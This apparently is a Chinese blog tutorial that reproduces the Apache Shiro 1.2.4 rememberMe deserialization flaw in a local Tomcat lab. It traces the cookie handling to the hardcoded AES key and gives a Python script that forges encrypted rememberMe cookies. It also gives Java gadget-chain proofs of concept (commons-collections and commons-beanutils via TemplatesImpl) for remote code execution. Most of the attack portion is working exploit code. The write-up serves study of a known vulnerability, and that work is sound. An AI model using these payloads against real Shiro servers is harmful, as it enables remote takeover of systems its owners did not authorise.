环境搭建
下载shiro
1 2 3
| git clone http://github/apache/shiro.git cd shiro git checkout shiro-root-1.2.4
|
用idea打开shiro\samples\web
项目,将pom.xml中的jstl版本修改为1.2
(大概70行的位置)
1 2 3 4 5 6
| <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope> </dependency>
|
tomcat部署


运行并打开网页

无CC依赖URLDNS反序列化验证
登陆处勾选Remember Me

点击登录、抓包,发现响应包里会出现rememberMe
字段

同时再次发送请求时会直接发送这个rememberMe

查找和cookierememberme有关的且在shiro包里的类,发现CookieRememberMeManager类

CookieRememberMeManager的getRememberedSerializedIdentity
接收了请求的rememberMe参数,同时对其进行base64解密

找一下谁调用了getRememberedSerializedIdentity方法,发现是AbstractRememberMeManager类
的getRememberedPrincipals
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); }
return principals; }
|
查看convertBytesToPrincipals
方法
1 2 3 4 5 6
| protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) { bytes = decrypt(bytes); } return deserialize(bytes); }
|
先看一下解密的部分

可以看到密钥是一个定值
1
| private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
|
并且从上方的内容可以推断出是aes加密

deserialize方法一直追下去发现调用了readObjet
方法

最终大致的流程为shiro将得到的rememberMe参数进行了base64解密,然后再aes解密,最终反序列化
我们用之前的DNSURL来验证一下,将序列化的test.ser文件用python脚本来生成payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import base64 import uuid from Crypto.Cipher import AES
with open('test.ser', 'rb') as f: data = f.read()
BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) print(ciphertext)
|
将输出结果替换为rememberMe的参数值,同时将JSESSIONID删除(否则不会对rememberMe的值反序列化)

发送以后,发现成功收到了DNS请求,证明反序列化成功

有CC依赖的命令执行
为shiro项目添加commons-collections依赖,这里选择3.2.1版本
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
这里由于shiro在反序列化的过程中ClassResolvingObjectInputStream类对resolveClass方法进行了重写,如果反序列化流中包含非java自身的数组,就会出现无法加载类的错误,所以我们这里不能使用ChainedTransformer类
。
这里主要利用的是cc6+cc2+cc3
(实际测试在jdk版本为1.7会失败,使用1.8版本成功)
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field namefield = c.getDeclaredField("_name"); namefield.setAccessible(true); namefield.set(templates,"aaaa"); Field bytecodesfield = c.getDeclaredField("_bytecodes"); bytecodesfield.setAccessible(true); byte[] codes = Files.readAllBytes(Paths.get("D:\\php_project\\shengji_study\\target\\classes\\runtime.class")); bytecodesfield.set(templates,new byte[][] {codes}); Field tfactoryfield = c.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templates,new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer",null,null);
HashMap<Object,Object> map = new HashMap<>(); Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
HashMap<Object,Object> hashMap=new HashMap<>(); hashMap.put(tiedMapEntry,"bbb"); lazymap.remove(templates);
Class clazz = LazyMap.class; Field factoryfield = clazz.getDeclaredField("factory"); factoryfield.setAccessible(true); factoryfield.set(lazymap,invokerTransformer);
Test.Serialize(hashMap);
|

构造的链图如下

CB链的利用
commons-beanutils是Apache Commons项目的一部分,是一个Java工具库,提供了许多操作Java Bean对象的工具类。它可以帮助Java程序员更方便地访问和操作Java Bean对象,从而简化了Java应用程序的开发。
对于以下代码
1
| PropertyUtils.getProperty(A,"b")
|
会调用A对象的getb方法
我们之前在利用TemplatesImpl类执行任意代码的时候是调用的newTransformer方法,而TemplatesImpl类中还有一个getOutputProperties方法正好调用了newTransformer
1 2 3 4 5 6 7 8
| public synchronized Properties getOutputProperties() { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
|
而这个类刚好可以用PropertyUtils.getProperty来调用,于是有
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field namefield = c.getDeclaredField("_name"); namefield.setAccessible(true); namefield.set(templates,"aaaa"); Field bytecodesfield = c.getDeclaredField("_bytecodes"); bytecodesfield.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\php_project\\shengji_study\\target\\classes\\runtime.class")); byte[][] codes = {code}; bytecodesfield.set(templates,codes); Field tfactoryfield = c.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templates,new TransformerFactoryImpl());
PropertyUtils.getProperty(templates,"outputProperties");
|

接下来可以找一下调用了getProperty方法的类

发现了BeanComparator类的compare方法,这个compare我们之前在cc2的时候见过,当时是调的TransformingComparator#compare,那么我们这里就可以直接把之前cc2构造的poc用起来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| TemplatesImpl templates = new TemplatesImpl(); Class c = templates.getClass(); Field namefield = c.getDeclaredField("_name"); namefield.setAccessible(true); namefield.set(templates,"aaaa"); Field bytecodesfield = c.getDeclaredField("_bytecodes"); bytecodesfield.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\php_project\\shengji_study\\target\\classes\\runtime.class")); byte[][] codes = {code}; bytecodesfield.set(templates,codes); Field tfactoryfield = c.getDeclaredField("_tfactory"); tfactoryfield.setAccessible(true); tfactoryfield.set(templates,new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator("outputProperties");
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates); priorityQueue.add(1);
Class clazz = PriorityQueue.class; Field transformerfield = clazz.getDeclaredField("comparator"); transformerfield.setAccessible(true); transformerfield.set(priorityQueue,beanComparator); test.Serialize(priorityQueue);
|

反序列化利用成功!!!
这里需要注意,实验中使用的commons-beanutils的版本是1.8.3
,而ysoserial中使用的版本是1.9.2
,所以使用ysoserial来打本实验的时候会出现利用失败

参考视频链接:Shiro反序列化漏洞